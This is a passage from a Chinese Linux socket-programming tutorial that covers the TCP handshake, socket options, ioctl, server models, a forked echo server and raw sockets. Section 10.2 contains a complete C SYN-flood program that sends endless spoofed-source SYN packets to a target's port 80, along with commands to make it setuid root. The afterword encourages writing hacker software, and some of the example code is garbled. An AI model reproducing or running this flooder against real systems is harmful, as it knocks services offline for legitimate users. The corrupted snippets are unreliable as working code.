第三步客戶機收到了伺服器的TCP,並從ACK為1和ack_seq=1001知道是從伺服器來的確認資訊.於是客戶機也向伺服器傳送確認資訊.客戶機設定ACK=1,和ack_seq=2001,seq=1001,傳送給伺服器.至此客戶端完成連線.
最後一步伺服器受到確認資訊,也完成連線.
通過上面幾個步驟,一個TCP連線就建立了.當然在建立過程中可能出現錯誤,不過TCP協議可以保證自己去處理錯誤的.
說一說其中的一種錯誤.
聽說過DOS嗎?(可不是作業系統啊).今年春節的時候,美國的五大網站一起受到攻擊.攻擊者用的就是DOS(拒絕式服務)方式.概括的說一下原理.
客戶機先進行第一個步驟.伺服器收到後,進行第二個步驟.按照正常的TCP連線,客戶機應該進行第三個步驟.
不 過攻擊者實際上並不進行第三個步驟.因為客戶端在進行第一個步驟的時候,修改了自己的IP地址,就是說將一個實際上不存在的IP填充在自己IP資料包的發 送者的IP一欄.這樣因為伺服器發的IP地址沒有人接收,所以服務端會收不到第三個步驟的確認訊號,這樣服務務端會在那邊一直等待,直到超時.
這樣當有大量的客戶發出請求後,服務端會有大量等待,直到所有的資源被用光,而不能再接收客戶機的請求.
這樣當正常的使用者向伺服器發出請求時,由於沒有了資源而不能成功.於是就出現了春節時所出現的情況.
8. 套接字選項
有時候我們要控制套接字的行為(如修改緩衝區的大小),這個時候我們就要控制套接字的選項了.
8.1 getsockopt和setsockopt
int getsockopt(int sockfd,int level,int optname,void *optval,socklen_t *optlen)
int setsockopt(int sockfd,int level,int optname,const void *optval,socklen_t *optlen)
level指定控制套接字的層次.可以取三種值: 1)SOL_SOCKET:通用套接字選項. 2)IPPROTO_IP:IP選項. 3)IPPROTO_TCP:TCP選項.
optname指定控制的方式(選項的名稱),我們下面詳細解釋
optval獲得或者是設定套接字選項.根據選項名稱的資料型別進行轉換
選項名稱 說明 資料型別
========================================================================
SOL_SOCKET
------------------------------------------------------------------------
SO_BROADCAST 允許傳送廣播資料 int
SO_DEBUG 允許除錯 int
SO_DONTROUTE 不查詢路由 int
SO_ERROR 獲得套接字錯誤 int
SO_KEEPALIVE 保持連線 int
SO_LINGER 延遲關閉連線 struct linger
SO_OOBINLINE 帶外資料放入正常資料流 int
SO_RCVBUF 接收緩衝區大小 int
SO_SNDBUF 傳送緩衝區大小 int
SO_RCVLOWAT 接收緩衝區下限 int
SO_SNDLOWAT 傳送緩衝區下限 int
SO_RCVTIMEO 接收超時 struct timeval
SO_SNDTIMEO 傳送超時 struct timeval
SO_REUSERADDR 允許重用本地地址和埠 int
SO_TYPE 獲得套接字型別 int
SO_BSDCOMPAT 與BSD系統相容 int
==========================================================================
IPPROTO_IP
--------------------------------------------------------------------------
IP_HDRINCL 在資料包中包含IP首部 int
IP_OPTINOS IP首部選項 int
IP_TOS 服務型別
IP_TTL 生存時間 int
==========================================================================
IPPRO_TCP
--------------------------------------------------------------------------
TCP_MAXSEG TCP最大資料段的大小 int
TCP_NODELAY 不使用Nagle演算法 int
=========================================================================
關於這些選項的詳細情況請檢視 Linux Programmers Manual
8.2 ioctl
ioctl可以控制所有的檔案描述符的情況,這裡介紹一下控制套接字的選項.
int ioctl(int fd,int req,...)
==========================================================================
ioctl的控制選項
--------------------------------------------------------------------------
SIOCATMARK 是否到達帶外標記 int
FIOASYNC 非同步輸入/輸出標誌 int
FIONREAD 緩衝區可讀的位元組數 int
詳細的選項請用 man ioctl_list 檢視.
9. 伺服器模型
學 習過《軟體工程》吧.軟體工程可是每一個程式設計師"必修"的課程啊.如果你沒有學習過, 建議你去看一看. 在這一章裡面,我們一起來從軟體工程的角度學習網路程式設計的思想.在我們寫程式之前, 我們都應該從軟體工程的角度規劃好我們的軟體,這樣我們開發軟體的效率才會高. 在網路程式裡面,一般的來說都是許多客戶機對應一個伺服器.為了處理客戶機的請求, 對服務端的程式就提出了特殊的要求.我們學習一下目前最常用的伺服器模型.
迴圈伺服器:迴圈伺服器在同一個時刻只可以響應一個客戶端的請求
併發伺服器:併發伺服器在同一個時刻可以響應多個客戶端的請求
9.1 迴圈伺服器:UDP伺服器
UDP迴圈伺服器的實現非常簡單:UDP伺服器每次從套接字上讀取一個客戶端的請求,處理, 然後將結果返回給客戶機.
可以用下面的演算法來實現.
socket(...);
bind(...);
while(1)
{
recvfrom(...);
process(...);
sendto(...);
}
因為UDP是非面向連線的,沒有一個客戶端可以老是佔住服務端. 只要處理過程不是死迴圈, 伺服器對於每一個客戶機的請求總是能夠滿足.
9.2 迴圈伺服器:TCP伺服器
TCP迴圈伺服器的實現也不難:TCP伺服器接受一個客戶端的連線,然後處理,完成了這個客戶的所有請求後,斷開連線.
演算法如下:
socket(...);
bind(...);
listen(...);
while(1)
{
accept(...);
while(1)
{
read(...);
process(...);
write(...);
}
close(...);
}
TCP迴圈伺服器一次只能處理一個客戶端的請求.只有在這個客戶的所有請求都滿足後, 伺服器才可以繼續後面的請求.這樣如果有一個客戶端佔住伺服器不放時,其它的客戶機都不能工作了.因此,TCP伺服器一般很少用迴圈伺服器模型的.
9.3 併發伺服器:TCP伺服器
為了彌補迴圈TCP伺服器的缺陷,人們又想出了併發伺服器的模型. 併發伺服器的思想是每一個客戶機的請求並不由伺服器直接處理,而是伺服器建立一個 子程序來處理.
演算法如下:
socket(...);
bind(...);
listen(...);
while(1)
{
accept(...);
if(fork(..)==0)
{
while(1)
{
read(...);
process(...);
write(...);
}
close(...);
exit(...);
}
close(...);
}
TCP併發伺服器可以解決TCP迴圈伺服器客戶機獨佔伺服器的情況. 不過也同時帶來了一個不小的問題.為了響應客戶機的請求,伺服器要建立子程序來處理. 而建立子程序是一種非常消耗資源的操作.
9.4 併發伺服器:多路複用I/O
為了解決建立子程序帶來的系統資源消耗,人們又想出了多路複用I/O模型.
首先介紹一個函式select
int select(int nfds,fd_set *readfds,fd_set *writefds,
fd_set *except fds,struct timeval *timeout)
void FD_SET(int fd,fd_set *fdset)
void FD_CLR(int fd,fd_set *fdset)
void FD_ZERO(fd_set *fdset)
int FD_ISSET(int fd,fd_set *fdset)
一 般的來說當我們在向檔案讀寫時,程序有可能在讀寫出阻塞,直到一定的條件滿足. 比如我們從一個套接字讀資料時,可能緩衝區裡面沒有資料可讀(通訊的對方還沒有 傳送資料過來),這個時候我們的讀呼叫就會等待(阻塞)直到有資料可讀.如果我們不 希望阻塞,我們的一個選擇是用select系統呼叫. 只要我們設定好select的各個引數,那麼當檔案可以讀寫的時候select回"通知"我們 說可以讀寫了. readfds所有要讀的檔案檔案描述符的集合
writefds所有要的寫檔案檔案描述符的集合
exceptfds其他的服要向我們通知的檔案描述符
timeout超時設定.
nfds所有我們監控的檔案描述符中最大的那一個加1
在我們呼叫select時程序會一直阻塞直到以下的一種情況發生. 1)有檔案可以讀.2)有檔案可以寫.3)超時所設定的時間到.
為了設定檔案描述符我們要使用幾個巨集. FD_SET將fd加入到fdset
FD_CLR將fd從fdset裡面清除
FD_ZERO從fdset中清除所有的檔案描述符
FD_ISSET判斷fd是否在fdset集合中
使用select的一個例子
int use_select(int *readfd,int n)
{
fd_set my_readfd;
int maxfd;
int i;
maxfd=readfd[0];
for(i=1;i if(readfd>maxfd) maxfd=readfd;
while(1)
{
/* 將所有的檔案描述符加入 */
FD_ZERO(&my_readfd);
for(i=0;i FD_SET(readfd,*my_readfd);
/* 程序阻塞 */
select(maxfd+1,& my_readfd,NULL,NULL,NULL);
/* 有東西可以讀了 */
for(i=0;i if(FD_ISSET(readfd,&my_readfd))
{
/* 原來是我可以讀了 */
we_read(readfd);
}
}
}
使用select後我們的伺服器程式就變成了.
初始話(socket,bind,listen);
while(1)
{
設定監聽讀寫檔案描述符(FD_*);
呼叫select;
如果是傾聽套接字就緒,說明一個新的連線請求建立
{
建立連線(accept);
加入到監聽檔案描述符中去;
}
否則說明是一個已經連線過的描述符
{
進行操作(read或者write);
}
}
多路複用I/O可以解決資源限制的問題.著模型實際上是將UDP迴圈模型用在了TCP上面. 這也就帶來了一些問題.如由於伺服器依次處理客戶的請求,所以可能會導致有的客戶 會等待很久.
9.5 併發伺服器:UDP伺服器
人們把併發的概念用於UDP就得到了併發UDP伺服器模型. 併發UDP伺服器模型其實是簡單的.和併發的TCP伺服器模型一樣是建立一個子程序來處理的 演算法和併發的TCP模型一樣.
除非伺服器在處理客戶端的請求所用的時間比較長以外,人們實際上很少用這種模型.
9.6 一個併發TCP伺服器例項
#include
#include
#include
#include
#include
#define MY_PORT 8888
int main(int argc ,char **argv)
{
int listen_fd,accept_fd;
struct sockaddr_in client_addr;
int n;
if((listen_fd=socket(AF_INET,SOCK_STREAM,0))<0)
{
printf("Socket Error:%s/n/a",strerror(errno));
exit(1);
}
bzero(&client_addr,sizeof(struct sockaddr_in));
client_addr.sin_family=AF_INET;
client_addr.sin_port=htons(MY_PORT);
client_addr.sin_addr.s_addr=htonl(INADDR_ANY);
n=1;
/* 如果伺服器終止後,伺服器可以第二次快速啟動而不用等待一段時間 */
setsockopt(listen_fd,SOL_SOCKET,SO_REUSEADDR,&n,sizeof(int));
if(bind(listen_fd,(struct sockaddr *)&client_addr,sizeof(client_addr))<0)
{
printf("Bind Error:%s/n/a",strerror(errno));
exit(1);
}
listen(listen_fd,5);
while(1)
{
accept_fd=accept(listen_fd,NULL,NULL);
if((accept_fd<0)&&(errno==EINTR))
continue;
else if(accept_fd<0)
{
printf("Accept Error:%s/n/a",strerror(errno));
continue;
}
if((n=fork())==0)
{
/* 子程序處理客戶端的連線 */
char buffer[1024];
close(listen_fd);
n=read(accept_fd,buffer,1024);
write(accept_fd,buffer,n);
close(accept_fd);
exit(0);
}
else if(n<0)
printf("Fork Error:%s/n/a",strerror(errno));
close(accept_fd);
}
}
你可以用我們前面寫客戶端程式來除錯著程式,或者是用來telnet除錯
10. 原始套接字
我 們在前面已經學習過了網路程式的兩種套接字(SOCK_STREAM,SOCK_DRAGM).在這一章 裡面我們一起來學習另外一種套接字--原始套接字(SOCK_RAW). 應用原始套接字,我們可以編寫出由TCP和UDP套接字不能夠實現的功能. 注意原始套接字只能夠由有root許可權的人建立.
10.1 原始套接字的建立
int sockfd(AF_INET,SOCK_RAW,protocol)
可以建立一個原始套接字.根據協議的型別不同我們可以建立不同型別的原始套接字 比如:IPPROTO_ICMP,IPPROTO_TCP,IPPROTO_UDP等等.詳細的情況檢視 下面我們以一個例項來說明原始套接字的建立和使用
10.2 一個原始套接字的例項
還記得DOS是什麼意思嗎?在這裡我們就一起來編寫一個實現DOS的小程式. 下面是程式的原始碼
/******************** DOS.c *****************/
#include <sys/socket.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <netinet/tcp.h>
#include <stdlib.h>
#include <errno.h>
#include <unistd.h>
#include <stdio.h>
#include <netdb.h>
#define DESTPORT 80 /* 要攻擊的埠(WEB) */
#define LOCALPORT 8888
void send_tcp(int sockfd,struct sockaddr_in *addr);
unsigned short check_sum(unsigned short *addr,int len);
int main(int argc,char **argv)
{
int sockfd;
struct sockaddr_in addr;
struct hostent *host;
int on=1;
if(argc!=2)
{
fprintf(stderr,"Usage:%s hostname/n/a",argv[0]);
exit(1);
}
bzero(&addr,sizeof(struct sockaddr_in));
addr.sin_family=AF_INET;
addr.sin_port=htons(DESTPORT);
if(inet_aton(argv[1],&addr.sin_addr)==0)
{
host=gethostbyname(argv[1]);
if(host==NULL)
{
fprintf(stderr,"HostName Error:%s/n/a",hstrerror(h_errno));
exit(1);
}
addr.sin_addr=*(struct in_addr *)(host->h_addr_list[0]);
}
/**** 使用IPPROTO_TCP建立一個TCP的原始套接字 ****/
sockfd=socket(AF_INET,SOCK_RAW,IPPROTO_TCP);
if(sockfd<0)
{
fprintf(stderr,"Socket Error:%s/n/a",strerror(errno));
exit(1);
}
/******** 設定IP資料包格式,告訴系統核心模組IP資料包由我們自己來填寫 ***/
setsockopt(sockfd,IPPROTO_IP,IP_HDRINCL,&on,sizeof(on));
/**** 沒有辦法,只用超級護使用者才可以使用原始套接字 *********/
setuid(getpid());
/********* 傳送炸彈了!!!! ****/
send_tcp(sockfd,&addr);
}
/******* 傳送炸彈的實現 *********/
void send_tcp(int sockfd,struct sockaddr_in *addr)
{
char buffer[100]; /**** 用來放置我們的資料包 ****/
struct ip *ip;
struct tcphdr *tcp;
int head_len;
/******* 我們的資料包實際上沒有任何內容,所以長度就是兩個結構的長度 ***/
head_len=sizeof(struct ip)+sizeof(struct tcphdr);
bzero(buffer,100);
/******** 填充IP資料包的頭部,還記得IP的頭格式嗎? ******/
ip=(struct ip *)buffer;
ip->ip_v=IPVERSION; /** 版本一般的是 4 **/
ip->ip_hl=sizeof(struct ip)>>2; /** IP資料包的頭部長度 **/
ip->ip_tos=0; /** 服務型別 **/
ip->ip_len=htons(head_len); /** IP資料包的長度 **/
ip->ip_id=0; /** 讓系統去填寫吧 **/
ip->ip_off=0; /** 和上面一樣,省點時間 **/
ip->ip_ttl=MAXTTL; /** 最長的時間 255 **/
ip->ip_p=IPPROTO_TCP; /** 我們要發的是 TCP包 **/
ip->ip_sum=0; /** 校驗和讓系統去做 **/
ip->ip_dst=addr->sin_addr; /** 我們攻擊的物件 **/
/******* 開始填寫TCP資料包 *****/
tcp=(struct tcphdr *)(buffer +sizeof(struct ip));
tcp->source=htons(LOCALPORT);
tcp->dest=addr->sin_port; /** 目的埠 **/
tcp->seq=random();
tcp->ack_seq=0;
tcp->doff=5;
tcp->syn=1; /** 我要建立連線 **/
tcp->check=0;
/** 好了,一切都準備好了.伺服器,你準備好了沒有?? ^_^ **/
while(1)
{
/** 你不知道我是從那裡來的,慢慢的去等吧! **/
ip->ip_src.s_addr=random();
/** 什麼都讓系統做了,也沒有多大的意思,還是讓我們自己來校驗頭部吧 */
/** 下面這條可有可無 */
tcp->check=check_sum((unsigned short *)tcp,
sizeof(struct tcphdr));
sendto(sockfd,buffer,head_len,0,addr,sizeof(struct sockaddr_in));
}
}
/* 下面是首部校驗和的演算法,偷了別人的 */
/*書上說,校驗原理:所有16位字相加,然後對和取反,但是下面的程式碼,好像不止這些*/
unsigned short check_sum(unsigned short *addr,int len)
{
register int nleft=len;
register int sum=0;
register short *w=addr;
short answer=0;
while(nleft>1)
{
sum+=*w++;
nleft-=2;
}
if(nleft==1)
{
*(unsigned char *)(&answer)=*(unsigned char *)w;
sum+=answer;
}
sum=(sum>>16)+(sum&0xffff);
sum+=(sum>>16);
answer=~sum;
return(answer);
}
編譯一下,拿localhost做一下實驗,看看有什麼結果.(千萬不要試別人的啊). 為了讓普通使用者可以執行這個程式,我們應該將這個程式的所有者變為root,且 設定setuid位
[[email protected] /root]#chown root DOS
[[email protected] /root]#chmod +s DOS
10.3 總結
原 始套接字和一般的套接字不同的是以前許多由系統做的事情,現在要由我們自己來做了. 不過這裡面是不是有很多的樂趣呢. 當我們建立了一個TCP套接字的時候,我們只是負責把我們要傳送的內容(buffer)傳遞給了系統. 系統在收到我們的資料後,回自動的呼叫相應的模組給資料加上TCP頭部,然後加上IP頭部. 再發送出去.而現在是我們自己建立各個的頭部,系統只是把它們傳送出去. 在上面的例項中,由於我們要修改我們的源IP地址,所以我們使用了setsockopt函式,如果我們只是修改TCP資料,那麼IP資料一樣也可以由系統 來建立的.
11. 後記
總算完成了網路程式設計這個教程.算起來我差不多寫了一個星期,原來以為寫這個應該是一件 不難的事,做起來才知道原來有很多的地方都比我想象的要難.我還把很多的東西都省略掉了 不過寫完了這篇教程以後,我好象對網路的認識又增加了一步.
如 果我們只是編寫一般的 網路程式還是比較容易的,但是如果我們想寫出比較好的網路程式我們還有著遙遠的路要走. 網路程式一般的來說都是多程序加上多執行緒的.為了處理好他們內部的關係,我們還要學習 程序之間的通訊.在網路程式裡面有著許許多多的突發事件,為此我們還要去學習更高階的 事件處理知識.現在的資訊越來越多了,為了處理好這些資訊,我們還要去學習資料庫. 如果要編寫出有用的黑客軟體,我們還要去熟悉各種網路協議.總之我們要學的東西還很多很多.
看一看外國的軟體水平,看一看印度的軟體水平,寶島臺灣的水平,再看一看我們自己的 軟體水平大家就會知道了什麼叫做差距.我們現在用的軟體有幾個是我們中國人自己編寫的.
不過大家不要害怕,不用擔心.只要我們還是清醒的,還能夠認清我們和別人的差距, 我們就還有希望. 畢竟我們現在還年輕.只要我們努力,認真的去學習,我們一定能夠學好的.我們就可以追上別人直到超過別人!
相信一點:
別人可以做到的我們一樣可以做到,而且可以比別人做的更好!
勇敢的年輕人,為了我們偉大祖國的軟體產業,為了祖國的未來,努力的去奮鬥吧!祖國會記住你們的!
hoyt
11.1 參考資料
<<實用UNIX程式設計>>---機械工業出版社.